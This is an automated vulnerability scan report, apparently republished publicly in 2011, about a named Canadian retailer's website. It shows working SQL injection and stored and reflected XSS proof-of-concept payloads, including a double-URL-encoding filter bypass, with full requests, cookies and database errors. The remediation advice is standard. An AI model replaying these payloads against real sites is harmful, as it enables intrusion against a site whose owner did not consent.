XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, microad.ca

Report generated by XSS.CX at Sat Sep 03 16:47:50 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. SQL injection

1.1. http://www.microcad.ca/cart/add/ [productid parameter]

1.2. http://www.microcad.ca/products/details/McAfee-SafeBoot-Web-Server-SSL-Certificate-with-1-Year-Gold-Support-1-User-1011956760 [REST URL parameter 3]

2. Cross-site scripting (stored)

XSS in microad.ca, Stored XSS, SQL Injection, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

3. Cross-site scripting (reflected)

4. Cross-domain Referer leakage

5. Cross-domain script include

5.1. http://www.microcad.ca/

5.2. http://www.microcad.ca/cart

5.3. http://www.microcad.ca/customerservice/about

5.4. http://www.microcad.ca/products/details/McAfee-SafeBoot-Web-Server-SSL-Certificate-with-1-Year-Gold-Support-1-User-1011956760

6. Robots.txt file

7. Content type incorrectly stated



1. SQL injection  next
There are 2 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:



1.1. http://www.microcad.ca/cart/add/ [productid parameter]  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.microcad.ca
Path:   /cart/add/

Issue detail

The productid parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the productid parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

POST /cart/add/ HTTP/1.1
Host: www.microcad.ca
Proxy-Connection: keep-alive
Referer: http://www.microcad.ca/products/details/McAfee-SafeBoot-Web-Server-SSL-Certificate-with-1-Year-Gold-Support-1-User-1011956760?utm_source=google&utm_medium=product-search
Content-Length: 31
Cache-Control: max-age=0
Origin: http://www.microcad.ca
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: public=mrff84dil681s0lpbfousev6i6; __utma=84250501.1276542809.1315085415.1315085415.1315085415.1; __utmb=84250501.1.10.1315085415; __utmc=84250501; __utmz=84250501.1315085415.1.1.utmcsr=google|utmccn=(not%20set)|utmcmd=product-search|utmctr=ssl%20certificates; mf_user=1; mf_session=bc76099c1b4cf7981cbda530d0e66b84; mf_lastpageview=1315085419325

quantity=1&productid=1011956760'

Response

HTTP/1.1 200 OK
Date: Sat, 03 Sep 2011 21:36:32 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1212
Content-Type: text/html
ACCEPT-RANGES: none

<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;">

<h4>A PHP Error was encountered</h4>

<p>Severity: Notice</p>
<p>Message: Undefined index: 1011956760'</p>
<p>Filename: mo
...[SNIP]...
ctdescriptions pd2 ON (p.productid = pd2.productid AND pd2.type = '3' AND pd2.localeid = '3')
               JOIN manufacturer m ON (p.manufacturerid = m.manufacturerid)
               WHERE p.productid = '1011956760'' You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1011956760''' at line 7

1.2. http://www.microcad.ca/products/details/McAfee-SafeBoot-Web-Server-SSL-Certificate-with-1-Year-Gold-Support-1-User-1011956760 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.microcad.ca
Path:   /products/details/McAfee-SafeBoot-Web-Server-SSL-Certificate-with-1-Year-Gold-Support-1-User-1011956760

Issue detail

The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 3, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /products/details/McAfee-SafeBoot-Web-Server-SSL-Certificate-with-1-Year-Gold-Support-1-User-1011956760'?utm_source=google&utm_medium=product-search HTTP/1.1
Host: www.microcad.ca
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=ssl+certificates#q=ssl+certificates&hl=en&prmd=ivnsufd&source=lnms&tbm=shop&ei=_5tiTr_COO_SiAKums2VCg&sa=X&oi=mode_link&ct=mode&cd=5&ved=0CFYQ_AUoBA&bav=on.2,or.r_gc.r_pw.&fp=d8e70e66cd7c7a51&biw=1233&bih=1037
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 03 Sep 2011 21:28:25 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 226
Content-Type: text/html
ACCEPT-RANGES: none

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AND an.localeid = '3' AND hn.localeid = '3' AND pa.localeid = '3'
                   ORDE' at line 7

2. Cross-site scripting (stored)  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.microcad.ca
Path:   /cart

Issue detail

The value of the productid request parameter submitted to the URL /cart/add/ is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks at the URL /cart. The payload 1542d'><script>alert(1)</script>91926b477ff was submitted in the productid parameter. This input was returned unmodified in a subsequent request for the URL /cart.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Issue background

Stored cross-site scripting vulnerabilities arise when data which originated from any tainted source is copied into the application's responses in an unsafe way. An attacker can use the vulnerability to inject malicious JavaScript code into the application, which will execute within the browser of any user who views the relevant application content.

The attacker-supplied code can perform a wide variety of actions, such as stealing victims' session tokens or login credentials, performing arbitrary actions on their behalf, and logging their keystrokes.

Methods for introducing malicious content include any function where request parameters or headers are processed and stored by the application, and any out-of-band channel whereby data can be introduced into the application's processing space (for example, email messages sent over SMTP which are ultimately rendered within a web mail application).

Stored cross-site scripting flaws are typically more serious than reflected vulnerabilities because they do not require a separate delivery mechanism in order to reach target users, and they can potentially be exploited to create web application worms which spread exponentially amongst application users.

Note that automated detection of stored cross-site scripting vulnerabilities cannot reliably determine whether attacks that are persisted within the application can be accessed by any other user, only by authenticated users, or only by the attacker themselves. You should review the functionality in which the vulnerability appears to determine whether the application's behaviour can feasibly be used to compromise other application users.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request 1

POST /cart/add/ HTTP/1.1
Host: www.microcad.ca
Proxy-Connection: keep-alive
Referer: http://www.microcad.ca/products/details/McAfee-SafeBoot-Web-Server-SSL-Certificate-with-1-Year-Gold-Support-1-User-1011956760?utm_source=google&utm_medium=product-search
Content-Length: 31
Cache-Control: max-age=0
Origin: http://www.microcad.ca
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: public=mrff84dil681s0lpbfousev6i6; __utma=84250501.1276542809.1315085415.1315085415.1315085415.1; __utmb=84250501.1.10.1315085415; __utmc=84250501; __utmz=84250501.1315085415.1.1.utmcsr=google|utmccn=(not%20set)|utmcmd=product-search|utmctr=ssl%20certificates; mf_user=1; mf_session=bc76099c1b4cf7981cbda530d0e66b84; mf_lastpageview=1315085419325

quantity=1&productid=1542d'><script>alert(1)</script>91926b477ff

Request 2

GET /cart HTTP/1.1
Host: www.microcad.ca
Proxy-Connection: keep-alive
Referer: http://www.microcad.ca/products/details/McAfee-SafeBoot-Web-Server-SSL-Certificate-with-1-Year-Gold-Support-1-User-1011956760?utm_source=google&utm_medium=product-search
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: public=mrff84dil681s0lpbfousev6i6; __utma=84250501.1276542809.1315085415.1315085415.1315085415.1; __utmb=84250501.1.10.1315085415; __utmc=84250501; __utmz=84250501.1315085415.1.1.utmcsr=google|utmccn=(not%20set)|utmcmd=product-search|utmctr=ssl%20certificates; mf_user=1; mf_session=bc76099c1b4cf7981cbda530d0e66b84; mf_lastpageview=1315085419325

Response 2

HTTP/1.1 200 OK
Date: Sat, 03 Sep 2011 21:35:33 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 18528
Content-Type: text/html
ACCEPT-RANGES: none

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Microcad.ca | Sho
...[SNIP]...
<a href='/cart/remove/1542d'><script>alert(1)</script>91926b477ff'>
...[SNIP]...

3. Cross-site scripting (reflected)  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.microcad.ca
Path:   /cart/add/

Issue detail

The value of the productid request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 36039%2527%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6607268138f was submitted in the productid parameter. This input was echoed as 36039'><script>alert(1)</script>6607268138f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the productid request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

POST /cart/add/ HTTP/1.1
Host: www.microcad.ca
Proxy-Connection: keep-alive
Referer: http://www.microcad.ca/products/details/McAfee-SafeBoot-Web-Server-SSL-Certificate-with-1-Year-Gold-Support-1-User-1011956760?utm_source=google&utm_medium=product-search
Content-Length: 31
Cache-Control: max-age=0
Origin: http://www.microcad.ca
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: public=mrff84dil681s0lpbfousev6i6; __utma=84250501.1276542809.1315085415.1315085415.1315085415.1; __utmb=84250501.1.10.1315085415; __utmc=84250501; __utmz=84250501.1315085415.1.1.utmcsr=google|utmccn=(not%20set)|utmcmd=product-search|utmctr=ssl%20certificates; mf_user=1; mf_session=bc76099c1b4cf7981cbda530d0e66b84; mf_lastpageview=1315085419325

quantity=1&productid=101195676036039%2527%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6607268138f

Response (redirected)

HTTP/1.1 200 OK
Date: Sat, 03 Sep 2011 21:36:28 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 18701
Content-Type: text/html
ACCEPT-RANGES: none

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Microcad.ca | Sho
...[SNIP]...
<a href='/cart/remove/101195676036039'><script>alert(1)</script>6607268138f'>
...[SNIP]...

4. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.microcad.ca
Path:   /products/details/McAfee-SafeBoot-Web-Server-SSL-Certificate-with-1-Year-Gold-Support-1-User-1011956760

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /products/details/McAfee-SafeBoot-Web-Server-SSL-Certificate-with-1-Year-Gold-Support-1-User-1011956760?utm_source=google&utm_medium=product-search HTTP/1.1
Host: www.microcad.ca
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=ssl+certificates#q=ssl+certificates&hl=en&prmd=ivnsufd&source=lnms&tbm=shop&ei=_5tiTr_COO_SiAKums2VCg&sa=X&oi=mode_link&ct=mode&cd=5&ved=0CFYQ_AUoBA&bav=on.2,or.r_gc.r_pw.&fp=d8e70e66cd7c7a51&biw=1233&bih=1037
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 03 Sep 2011 21:26:36 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 16676
Content-Type: text/html
ACCEPT-RANGES: none

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Microcad.ca | McA
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/css/base.css" />
       <link rel="stylesheet" type="text/css" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.13/themes/base/jquery-ui.css" />
       <link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?family=Droid+Sans:regular,bold" />
       <!-- Google Analytics Start -->
...[SNIP]...
<div id="social-media">
                   <a href='http://www.twitter.com/microcadcorp' title='Follow us on Twitter'><img src='/images/twitter.png' alt='Twitter' /></a>
                   <a href='http://www.facebook.com/microcadcorp' title='Follow us on Facebook'><img src='/images/facebook.png' alt='Facebook' />
...[SNIP]...
<div id="image">
               <img src="http://content.etilize.com/images/160/1011956760.jpg?noimage=logo" id="image-normal" alt="McAfee SafeBoot Web Server SSL Certificate with 1 Year Gold Support - 1 User" />
       <!--<img src="" id="image-large" />
...[SNIP]...
<p id="siteseal"><script type="text/javascript" src="https://seal.godaddy.com/getSeal?sealID=J1AC4JSCyRkHT7RkNR74WDnAE6gCXcX7GcaWPukWaY1iN1vWF7f2CMS85"></script>
...[SNIP]...
<!-- Javascript Start -->
<script type="text/javascript" language="javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js"></script>
<script type="text/javascript" language="javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.13/jquery-ui.min.js"></script>
...[SNIP]...

5. Cross-domain script include  previous  next
There are 4 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


5.1. http://www.microcad.ca/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.microcad.ca
Path:   /

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET / HTTP/1.1
Host: www.microcad.ca
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.microcad.ca/cart
Cookie: __utma=84250501.2042030074.1315086290.1315086290.1315086290.1; __utmb=84250501.1.10.1315086290; __utmc=84250501; __utmz=84250501.1315086290.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; mf_user=1; mf_session=4e87f0f1cb4f46f4e1b2fa6bef28da0f; mf_lastpageview=1315086344049

Response

HTTP/1.1 200 OK
Date: Sat, 03 Sep 2011 21:53:23 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 16620
Content-Type: text/html
ACCEPT-RANGES: none

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Microcad.ca | Hom
...[SNIP]...
<p id="siteseal"><script type="text/javascript" src="https://seal.godaddy.com/getSeal?sealID=J1AC4JSCyRkHT7RkNR74WDnAE6gCXcX7GcaWPukWaY1iN1vWF7f2CMS85"></script>
...[SNIP]...
<!-- Javascript Start -->
<script type="text/javascript" language="javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js"></script>
<script type="text/javascript" language="javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.13/jquery-ui.min.js"></script>
...[SNIP]...

5.2. http://www.microcad.ca/cart  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.microcad.ca
Path:   /cart

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /cart HTTP/1.1
Host: www.microcad.ca
Proxy-Connection: keep-alive
Referer: http://www.microcad.ca/products/details/McAfee-SafeBoot-Web-Server-SSL-Certificate-with-1-Year-Gold-Support-1-User-1011956760?utm_source=google&utm_medium=product-search
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: public=mrff84dil681s0lpbfousev6i6; __utma=84250501.1276542809.1315085415.1315085415.1315085415.1; __utmb=84250501.1.10.1315085415; __utmc=84250501; __utmz=84250501.1315085415.1.1.utmcsr=google|utmccn=(not%20set)|utmcmd=product-search|utmctr=ssl%20certificates; mf_user=1; mf_session=bc76099c1b4cf7981cbda530d0e66b84; mf_lastpageview=1315085419325

Response

HTTP/1.1 200 OK
Date: Sat, 03 Sep 2011 21:34:55 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 16422
Content-Type: text/html
ACCEPT-RANGES: none

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Microcad.ca | Sho
...[SNIP]...
<p id="siteseal"><script type="text/javascript" src="https://seal.godaddy.com/getSeal?sealID=J1AC4JSCyRkHT7RkNR74WDnAE6gCXcX7GcaWPukWaY1iN1vWF7f2CMS85"></script>
...[SNIP]...
<!-- Javascript Start -->
<script type="text/javascript" language="javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js"></script>
<script type="text/javascript" language="javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.13/jquery-ui.min.js"></script>
...[SNIP]...

5.3. http://www.microcad.ca/customerservice/about  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.microcad.ca
Path:   /customerservice/about

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /customerservice/about HTTP/1.1
Host: www.microcad.ca
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.microcad.ca/
Cookie: __utma=84250501.2042030074.1315086290.1315086290.1315086290.1; __utmb=84250501.2.10.1315086290; __utmc=84250501; __utmz=84250501.1315086290.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; mf_user=1; mf_session=4e87f0f1cb4f46f4e1b2fa6bef28da0f; mf_lastpageview=1315086347664; public=e77qnk450jm0pd8tjrlbgok540

Response

HTTP/1.1 200 OK
Date: Sat, 03 Sep 2011 21:53:53 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 17025
Content-Type: text/html
ACCEPT-RANGES: none

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Microcad.ca | Abo
...[SNIP]...
<p id="siteseal"><script type="text/javascript" src="https://seal.godaddy.com/getSeal?sealID=J1AC4JSCyRkHT7RkNR74WDnAE6gCXcX7GcaWPukWaY1iN1vWF7f2CMS85"></script>
...[SNIP]...
<!-- Javascript Start -->
<script type="text/javascript" language="javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js"></script>
<script type="text/javascript" language="javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.13/jquery-ui.min.js"></script>
...[SNIP]...

5.4. http://www.microcad.ca/products/details/McAfee-SafeBoot-Web-Server-SSL-Certificate-with-1-Year-Gold-Support-1-User-1011956760  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.microcad.ca
Path:   /products/details/McAfee-SafeBoot-Web-Server-SSL-Certificate-with-1-Year-Gold-Support-1-User-1011956760

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /products/details/McAfee-SafeBoot-Web-Server-SSL-Certificate-with-1-Year-Gold-Support-1-User-1011956760?utm_source=google&utm_medium=product-search HTTP/1.1
Host: www.microcad.ca
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=ssl+certificates#q=ssl+certificates&hl=en&prmd=ivnsufd&source=lnms&tbm=shop&ei=_5tiTr_COO_SiAKums2VCg&sa=X&oi=mode_link&ct=mode&cd=5&ved=0CFYQ_AUoBA&bav=on.2,or.r_gc.r_pw.&fp=d8e70e66cd7c7a51&biw=1233&bih=1037
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 03 Sep 2011 21:26:36 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 16676
Content-Type: text/html
ACCEPT-RANGES: none

